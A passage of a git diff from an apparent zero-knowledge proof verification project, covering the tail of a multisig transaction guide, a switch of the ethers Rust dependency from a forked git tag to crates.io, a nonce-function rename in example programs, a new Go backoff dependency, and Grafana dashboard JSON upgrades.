text](./images/multisig-5.png) + +6) Paste the calldata saved on step `1` and paste it on the `Data` box +![alt text](./images/multisig-6.png) + +7) Finish creating the transaction +![alt text](./images/multisig-7.png) +You can previously simulate the tx to make sure everything is OK. +![alt text](./images/multisig-8.png) +![alt text](./images/multisig-9.png) + +8) Now in your transactions, you should be able to see the newly created Tx +![alt text](./images/multisig-10.png) + +9) If the transaction is correctly created, you have to wait until required Multisig member sign the transaction to send it. + +10) You can now approve it with the other signer, as we saw in this case it is a 2/3 multisig +![alt text](./images/multisig-11.png) +![alt text](./images/multisig-12.png) +![alt text](./images/multisig-13.png) + +11) The tx should be created, now you should just wait for its approval +![alt text](./images/multisig-14.png) +![alt text](./images/multisig-15.png) \ No newline at end of file diff --git a/examples/validating-public-input/aligned-integration/Cargo.lock b/examples/validating-public-input/aligned-integration/Cargo.lock index 971f75ac6..8d6882e9d 100644 --- a/examples/validating-public-input/aligned-integration/Cargo.lock +++ b/examples/validating-public-input/aligned-integration/Cargo.lock @@ -218,12 +218,6 @@ version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" -[[package]] -name = "base64" -version = "0.22.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" - [[package]] name = "base64ct" version = "1.6.0" @@ -971,7 +965,8 @@ dependencies = [ [[package]] name = "ethers" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "816841ea989f0c69e459af1cf23a6b0033b19a55424a1ea3a30099becdb8dec0" dependencies = [ "ethers-addressbook", "ethers-contract", @@ -986,7 +981,8 @@ dependencies = [ [[package]] name = "ethers-addressbook" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5495afd16b4faa556c3bba1f21b98b4983e53c1755022377051a975c3b021759" dependencies = [ "ethers-core", "once_cell", @@ -997,7 +993,8 @@ dependencies = [ [[package]] name = "ethers-contract" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fceafa3578c836eeb874af87abacfb041f92b4da0a78a5edd042564b8ecdaaa" dependencies = [ "const-hex", "ethers-contract-abigen", @@ -1015,7 +1012,8 @@ dependencies = [ [[package]] name = "ethers-contract-abigen" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04ba01fbc2331a38c429eb95d4a570166781f14290ef9fdb144278a90b5a739b" dependencies = [ "Inflector", "const-hex", @@ -1038,7 +1036,8 @@ dependencies = [ [[package]] name = "ethers-contract-derive" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87689dcabc0051cde10caaade298f9e9093d65f6125c14575db3fd8c669a168f" dependencies = [ "Inflector", "const-hex", @@ -1053,7 +1052,8 @@ dependencies = [ [[package]] name = "ethers-core" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82d80cc6ad30b14a48ab786523af33b37f28a8623fc06afd55324816ef18fb1f" dependencies = [ "arrayvec", "bytes", @@ -1082,7 +1082,8 @@ dependencies = [ [[package]] name = "ethers-etherscan" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79e5973c26d4baf0ce55520bd732314328cabe53193286671b47144145b9649" dependencies = [ "chrono", "ethers-core", @@ -1097,7 +1098,8 @@ dependencies = [ [[package]] name = "ethers-middleware" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48f9fdf09aec667c099909d91908d5eaf9be1bd0e2500ba4172c1d28bfaa43de" dependencies = [ "async-trait", "auto_impl", @@ -1123,11 +1125,12 @@ dependencies = [ [[package]] name = "ethers-providers" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6434c9a33891f1effc9c75472e12666db2fa5a0fec4b29af6221680a6fe83ab2" dependencies = [ "async-trait", "auto_impl", - "base64 0.22.1", + "base64 0.21.7", "bytes", "const-hex", "enr", @@ -1160,7 +1163,8 @@ dependencies = [ [[package]] name = "ethers-signers" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "228875491c782ad851773b652dd8ecac62cda8571d3bc32a5853644dd26766c2" dependencies = [ "async-trait", "coins-bip32", @@ -1178,7 +1182,8 @@ dependencies = [ [[package]] name = "ethers-solc" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66244a771d9163282646dbeffe0e6eca4dda4146b6498644e678ac6089b11edd" dependencies = [ "cfg-if", "const-hex", diff --git a/examples/validating-public-input/aligned-integration/Cargo.toml b/examples/validating-public-input/aligned-integration/Cargo.toml index 2763a8924..b95940c4b 100644 --- a/examples/validating-public-input/aligned-integration/Cargo.toml +++ b/examples/validating-public-input/aligned-integration/Cargo.toml @@ -13,10 +13,7 @@ tokio = { version = "1.37.0", features = [ "rt-multi-thread", "sync", ] } -ethers = { tag = "v2.0.15-fix-reconnections", features = [ - "ws", - "rustls", -], git = "https://github.com/yetanotherco/ethers-rs.git" } +ethers = { version = "2.0", features = ["ws", "rustls"] } serde = { version = "1.0.201", features = ["derive"] } serde_json = "1.0.117" log = "0.4.21" diff --git a/examples/validating-public-input/aligned-integration/src/main.rs b/examples/validating-public-input/aligned-integration/src/main.rs index 0abdddc37..c3ed79b42 100644 --- a/examples/validating-public-input/aligned-integration/src/main.rs +++ b/examples/validating-public-input/aligned-integration/src/main.rs @@ -7,17 +7,17 @@ use std::str::FromStr; use aligned_sdk::core::errors::SubmitError; use aligned_sdk::core::types::Network; use aligned_sdk::core::types::{AlignedVerificationData, ProvingSystemId, VerificationData}; -use aligned_sdk::sdk::{get_next_nonce, submit_and_wait_verification}; +use aligned_sdk::sdk::{get_nonce_from_ethereum, submit_and_wait_verification}; use clap::Parser; use clap::ValueEnum; use env_logger::Env; +use ethers::prelude::*; +use ethers::providers::{Http, Provider}; use ethers::signers::{LocalWallet, Signer}; use ethers::types::U256; -use ethers::providers::{Http, Provider}; use ethers::utils::hex; use log::info; use serde_json::json; -use ethers::prelude::*; const PROOF_FILE_RISC0_PATH: &str = "../risc_zero/fibonacci_proof_generator/risc_zero_fibonacci.proof"; @@ -66,7 +66,7 @@ async fn main() -> Result<(), SubmitError> { let args = Args::parse(); let provider = - Provider::::try_from(args.rpc_url.as_str()).expect("Failed to connect to provider"); + Provider::::try_from(args.rpc_url.as_str()).expect("Failed to connect to provider"); let chain_id = provider .get_chainid() @@ -128,7 +128,7 @@ async fn main() -> Result<(), SubmitError> { // Set a fee of 0.1 Eth let max_fee = U256::from(5) * U256::from(100_000_000_000_000_000u128); - let nonce = get_next_nonce(&args.rpc_url, wallet.address(), network) + let nonce = get_nonce_from_ethereum(&args.rpc_url, wallet.address(), network) .await .expect("Failed to get next nonce"); diff --git a/examples/zkquiz/quiz/script/Cargo.lock b/examples/zkquiz/quiz/script/Cargo.lock index f93fa2639..f62da135f 100644 --- a/examples/zkquiz/quiz/script/Cargo.lock +++ b/examples/zkquiz/quiz/script/Cargo.lock @@ -76,7 +76,7 @@ version = "0.1.0" dependencies = [ "ciborium", "dialoguer", - "ethers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers", "futures-util", "hex", "lambdaworks-crypto", @@ -1573,26 +1573,13 @@ version = "2.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "816841ea989f0c69e459af1cf23a6b0033b19a55424a1ea3a30099becdb8dec0" dependencies = [ - "ethers-addressbook 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-contract 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-middleware 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-providers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-signers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", -] - -[[package]] -name = "ethers" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "ethers-addressbook 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-contract 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-addressbook", + "ethers-contract", + "ethers-core", "ethers-etherscan", - "ethers-middleware 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-providers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-signers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-middleware", + "ethers-providers", + "ethers-signers", "ethers-solc", ] @@ -1602,18 +1589,7 @@ version = "2.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5495afd16b4faa556c3bba1f21b98b4983e53c1755022377051a975c3b021759" dependencies = [ - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "once_cell", - "serde", - "serde_json", -] - -[[package]] -name = "ethers-addressbook" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "once_cell", "serde", "serde_json", @@ -1626,28 +1602,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fceafa3578c836eeb874af87abacfb041f92b4da0a78a5edd042564b8ecdaaa" dependencies = [ "const-hex", - "ethers-contract-abigen 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-contract-derive 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-providers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "futures-util", - "once_cell", - "pin-project", - "serde", - "serde_json", - "thiserror", -] - -[[package]] -name = "ethers-contract" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "const-hex", - "ethers-contract-abigen 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-contract-derive 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-providers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-contract-abigen", + "ethers-contract-derive", + "ethers-core", + "ethers-providers", "futures-util", "once_cell", "pin-project", @@ -1665,28 +1623,7 @@ dependencies = [ "Inflector", "const-hex", "dunce", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "eyre", - "prettyplease", - "proc-macro2", - "quote", - "regex", - "serde", - "serde_json", - "syn 2.0.85", - "toml", - "walkdir", -] - -[[package]] -name = "ethers-contract-abigen" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "Inflector", - "const-hex", - "dunce", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "ethers-etherscan", "eyre", "prettyplease", @@ -1709,23 +1646,8 @@ checksum = "87689dcabc0051cde10caaade298f9e9093d65f6125c14575db3fd8c669a168f" dependencies = [ "Inflector", "const-hex", - "ethers-contract-abigen 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "proc-macro2", - "quote", - "serde_json", - "syn 2.0.85", -] - -[[package]] -name = "ethers-contract-derive" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "Inflector", - "const-hex", - "ethers-contract-abigen 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-contract-abigen", + "ethers-core", "proc-macro2", "quote", "serde_json", @@ -1762,42 +1684,14 @@ dependencies = [ "unicode-xid", ] -[[package]] -name = "ethers-core" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "arrayvec", - "bytes", - "cargo_metadata", - "chrono", - "const-hex", - "elliptic-curve", - "ethabi", - "generic-array 0.14.7", - "k256", - "num_enum 0.7.3", - "once_cell", - "open-fastrlp", - "rand", - "rlp", - "serde", - "serde_json", - "strum", - "syn 2.0.85", - "tempfile", - "thiserror", - "tiny-keccak", - "unicode-xid", -] - [[package]] name = "ethers-etherscan" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79e5973c26d4baf0ce55520bd732314328cabe53193286671b47144145b9649" dependencies = [ "chrono", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "reqwest 0.11.27", "semver 1.0.23", "serde", @@ -1814,36 +1708,11 @@ checksum = "48f9fdf09aec667c099909d91908d5eaf9be1bd0e2500ba4172c1d28bfaa43de" dependencies = [ "async-trait", "auto_impl", - "ethers-contract 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-providers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-signers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "futures-channel", - "futures-locks", - "futures-util", - "instant", - "reqwest 0.11.27", - "serde", - "serde_json", - "thiserror", - "tokio", - "tracing", - "tracing-futures", - "url", -] - -[[package]] -name = "ethers-middleware" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "async-trait", - "auto_impl", - "ethers-contract 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-contract", + "ethers-core", "ethers-etherscan", - "ethers-providers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-signers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-providers", + "ethers-signers", "futures-channel", "futures-locks", "futures-util", @@ -1870,42 +1739,7 @@ dependencies = [ "bytes", "const-hex", "enr", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "futures-core", - "futures-timer", - "futures-util", - "hashers", - "http 0.2.12", - "instant", - "jsonwebtoken", - "once_cell", - "pin-project", - "reqwest 0.11.27", - "serde", - "serde_json", - "thiserror", - "tokio", - "tracing", - "tracing-futures", - "url", - "wasm-bindgen", - "wasm-bindgen-futures", - "web-sys", - "ws_stream_wasm", -] - -[[package]] -name = "ethers-providers" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "async-trait", - "auto_impl", - "base64 0.22.1", - "bytes", - "const-hex", - "enr", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "futures-channel", "futures-core", "futures-timer", @@ -1943,25 +1777,7 @@ dependencies = [ "const-hex", "elliptic-curve", "eth-keystore", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "rand", - "sha2", - "thiserror", - "tracing", -] - -[[package]] -name = "ethers-signers" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "async-trait", - "coins-bip32", - "coins-bip39", - "const-hex", - "elliptic-curve", - "eth-keystore", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "rand", "sha2", "thiserror", @@ -1971,13 +1787,14 @@ dependencies = [ [[package]] name = "ethers-solc" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66244a771d9163282646dbeffe0e6eca4dda4146b6498644e678ac6089b11edd" dependencies = [ "cfg-if", "const-hex", "dirs", "dunce", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "glob", "home", "md-5", @@ -4245,7 +4062,7 @@ dependencies = [ "bincode", "clap", "dialoguer", - "ethers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers", "hex", "log", "rpassword", @@ -5539,7 +5356,7 @@ dependencies = [ "bincode", "cfg-if", "dirs", - "ethers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", + "ethers", "futures", "hashbrown 0.14.5", "hex", diff --git a/examples/zkquiz/quiz/script/Cargo.toml b/examples/zkquiz/quiz/script/Cargo.toml index c883dec31..3e2a7d332 100644 --- a/examples/zkquiz/quiz/script/Cargo.toml +++ b/examples/zkquiz/quiz/script/Cargo.toml @@ -7,10 +7,8 @@ edition = "2021" [dependencies] sp1-sdk = { git = "https://github.com/succinctlabs/sp1.git", rev = "v3.0.0" } aligned-sdk = { path = "../../../../batcher/aligned-sdk" } -ethers = { tag = "v2.0.15-fix-reconnections", features = [ - "ws", - "rustls", -], git = "https://github.com/yetanotherco/ethers-rs.git" } +ethers = { version = "2.0", features = ["ws", "rustls"] } + rpassword = "7.3.1" tokio = { version = "1.0.0", features = ["rt", "rt-multi-thread", "macros"] } bincode = "1.3.3" diff --git a/examples/zkquiz/quiz/script/src/main.rs b/examples/zkquiz/quiz/script/src/main.rs index 69d0092fb..5a895023d 100644 --- a/examples/zkquiz/quiz/script/src/main.rs +++ b/examples/zkquiz/quiz/script/src/main.rs @@ -5,7 +5,7 @@ use aligned_sdk::core::types::{ AlignedVerificationData, Network, PriceEstimate, ProvingSystemId, VerificationData, }; use aligned_sdk::sdk::{deposit_to_aligned, estimate_fee}; -use aligned_sdk::sdk::{get_next_nonce, submit_and_wait_verification}; +use aligned_sdk::sdk::{get_nonce_from_ethereum, submit_and_wait_verification}; use clap::Parser; use dialoguer::Confirm; use ethers::prelude::*; @@ -132,7 +132,7 @@ async fn main() { .expect("Failed to read user input") { return; } - let nonce = get_next_nonce(&rpc_url, wallet.address(), args.network) + let nonce = get_nonce_from_ethereum(&rpc_url, wallet.address(), args.network) .await .expect("Failed to get next nonce"); diff --git a/explorer/mix.lock b/explorer/mix.lock index 336bebe7e..17f684b6a 100644 --- a/explorer/mix.lock +++ b/explorer/mix.lock @@ -23,7 +23,7 @@ "floki": {:hex, :floki, "0.36.2", "a7da0193538c93f937714a6704369711998a51a6164a222d710ebd54020aa7a3", [:mix], [], "hexpm", "a8766c0bc92f074e5cb36c4f9961982eda84c5d2b8e979ca67f5c268ec8ed580"}, "gettext": {:hex, :gettext, "0.24.0", "6f4d90ac5f3111673cbefc4ebee96fe5f37a114861ab8c7b7d5b30a1108ce6d8", [:mix], [{:expo, "~> 0.5.1", [hex: :expo, repo: "hexpm", optional: false]}], "hexpm", "bdf75cdfcbe9e4622dd18e034b227d77dd17f0f133853a1c73b97b3d6c770e8b"}, "hackney": {:hex, :hackney, "1.20.1", "8d97aec62ddddd757d128bfd1df6c5861093419f8f7a4223823537bad5d064e2", [:rebar3], [{:certifi, "~> 2.12.0", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "~> 6.1.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "~> 1.0.0", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~> 1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:parse_trans, "3.4.1", [hex: :parse_trans, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "~> 1.1.0", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}, {:unicode_util_compat, "~> 0.7.0", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "fe9094e5f1a2a2c0a7d10918fee36bfec0ec2a979994cff8cfe8058cd9af38e3"}, - "heroicons": {:git, "https://github.com/tailwindlabs/heroicons.git", "88ab3a0d790e6a47404cba02800a6b25d2afae50", [tag: "v2.1.1", sparse: "optimized", depth: 1]}, + "heroicons": {:git, "https://github.com/tailwindlabs/heroicons.git", "88ab3a0d790e6a47404cba02800a6b25d2afae50", [tag: "v2.1.1", sparse: "optimized"]}, "hpax": {:hex, :hpax, "0.2.0", "5a58219adcb75977b2edce5eb22051de9362f08236220c9e859a47111c194ff5", [:mix], [], "hexpm", "bea06558cdae85bed075e6c036993d43cd54d447f76d8190a8db0dc5893fa2f1"}, "httpoison": {:hex, :httpoison, "2.2.1", "87b7ed6d95db0389f7df02779644171d7319d319178f6680438167d7b69b1f3d", [:mix], [{:hackney, "~> 1.17", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "51364e6d2f429d80e14fe4b5f8e39719cacd03eb3f9a9286e61e216feac2d2df"}, "idna": {:hex, :idna, "6.1.1", "8a63070e9f7d0c62eb9d9fcb360a7de382448200fbbd1b106cc96d3d8099df8d", [:rebar3], [{:unicode_util_compat, "~> 0.7.0", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "92376eb7894412ed19ac475e4a86f7b413c1b9fbb5bd16dccd57934157944cea"}, diff --git a/go.mod b/go.mod index 9018fc640..c8726b19a 100644 --- a/go.mod +++ b/go.mod @@ -12,6 +12,7 @@ require ( require ( github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 + github.com/cenkalti/backoff/v4 v4.3.0 github.com/consensys/gnark v0.10.0 github.com/consensys/gnark-crypto v0.12.2-0.20240215234832-d72fcb379d3e github.com/fxamacker/cbor/v2 v2.7.0 @@ -40,6 +41,7 @@ require ( github.com/bits-and-blooms/bitset v1.10.0 // indirect github.com/blang/semver/v4 v4.0.0 // indirect github.com/btcsuite/btcd/btcec/v2 v2.3.4 // indirect + github.com/cenkalti/backoff/v4 v4.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/consensys/bavard v0.1.13 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.3 // indirect diff --git a/go.sum b/go.sum index 7d13d545c..02ace18bb 100644 --- a/go.sum +++ b/go.sum @@ -56,6 +56,8 @@ github.com/btcsuite/btcd/chaincfg/chainhash v1.0.1 h1:q0rUy8C/TYNBQS1+CGKw68tLOF github.com/btcsuite/btcd/chaincfg/chainhash v1.0.1/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc= github.com/cenkalti/backoff/v4 v4.2.1 h1:y4OZtCnogmCPw98Zjyt5a6+QwPLGkiQsYW5oUqylYbM= github.com/cenkalti/backoff/v4 v4.2.1/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= +github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= +github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/cespare/cp v0.1.0 h1:SE+dxFebS7Iik5LK0tsi1k9ZCxEaFX4AjQmoyA+1dJk= github.com/cespare/cp v0.1.0/go.mod h1:SOGHArjBr4JWaSDEVpWpo/hNg6RoKrls6Oh40hiwW+s= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= diff --git a/grafana/provisioning/dashboards/aligned/aggregator_batcher.json b/grafana/provisioning/dashboards/aligned/aggregator_batcher.json index cdcaa39cb..b4eb8f3bf 100644 --- a/grafana/provisioning/dashboards/aligned/aggregator_batcher.json +++ b/grafana/provisioning/dashboards/aligned/aggregator_batcher.json @@ -70,14 +70,19 @@ "graphMode": "none", "justifyMode": "auto", "orientation": "auto", + "percentChangeColorMode": "standard", "reduceOptions": { - "calcs": ["lastNotNull"], + "calcs": [ + "lastNotNull" + ], "fields": "", "values": false }, - "textMode": "auto" + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true }, - "pluginVersion": "10.1.10", + "pluginVersion": "11.2.2+security-01", "targets": [ { "datasource": { @@ -134,16 +139,21 @@ }, "id": 17, "options": { + "minVizHeight": 75, + "minVizWidth": 75, "orientation": "auto", "reduceOptions": { - "calcs": ["lastNotNull"], + "calcs": [ + "lastNotNull" + ], "fields": "", "values": false }, "showThresholdLabels": false, - "showThresholdMarkers": true + "showThresholdMarkers": true, + "sizing": "auto" }, - "pluginVersion": "10.1.10", + "pluginVersion": "11.2.2+security-01", "targets": [ { "datasource": { @@ -176,11 +186,13 @@ "mode": "palette-classic" }, "custom": { + "axisBorderShow": false, "axisCenteredZero": false, "axisColorMode": "text", "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, + "barWidthFactor": 0.6, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", @@ -307,14 +319,19 @@ "graphMode": "none", "justifyMode": "auto", "orientation": "auto", + "percentChangeColorMode": "standard", "reduceOptions": { - "calcs": ["lastNotNull"], + "calcs": [ + "lastNotNull" + ], "fields": "", "values": false }, - "textMode": "auto" + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true }, - "pluginVersion": "10.1.10", + "pluginVersion": "11.2.2+security-01", "targets": [ { "datasource": { @@ -347,11 +364,13 @@ "mode": "palette-classic" }, "custom": { + "axisBorderShow": false, "axisCenteredZero": false, "axisColorMode": "text", "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, + "barWidthFactor": 0.6, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", @@ -445,11 +464,13 @@ "mode": "palette-classic" }, "custom": { + "axisBorderShow": false, "axisCenteredZero": false, "axisColorMode": "text", "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, + "barWidthFactor": 0.6, "drawStyle": "line", "fillOpacity": 25, "gradientMode": "none", @@ -575,14 +596,19 @@ "graphMode": "none", "justifyMode": "auto", "orientation": "auto", + "percentChangeColorMode": "standard", "reduceOptions": { - "calcs": ["lastNotNull"], + "calcs": [ + "lastNotNull" + ], "fields": "", "values": false }, - "textMode": "auto" + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true }, - "pluginVersion": "10.1.10", + "pluginVersion": "11.2.2+security-01", "targets": [ { "datasource": { @@ -615,11 +641,13 @@ "mode": "palette-classic" }, "custom": { + "axisBorderShow": false, "axisCenteredZero": false, "axisColorMode": "text", "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, + "barWidthFactor": 0.6, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", 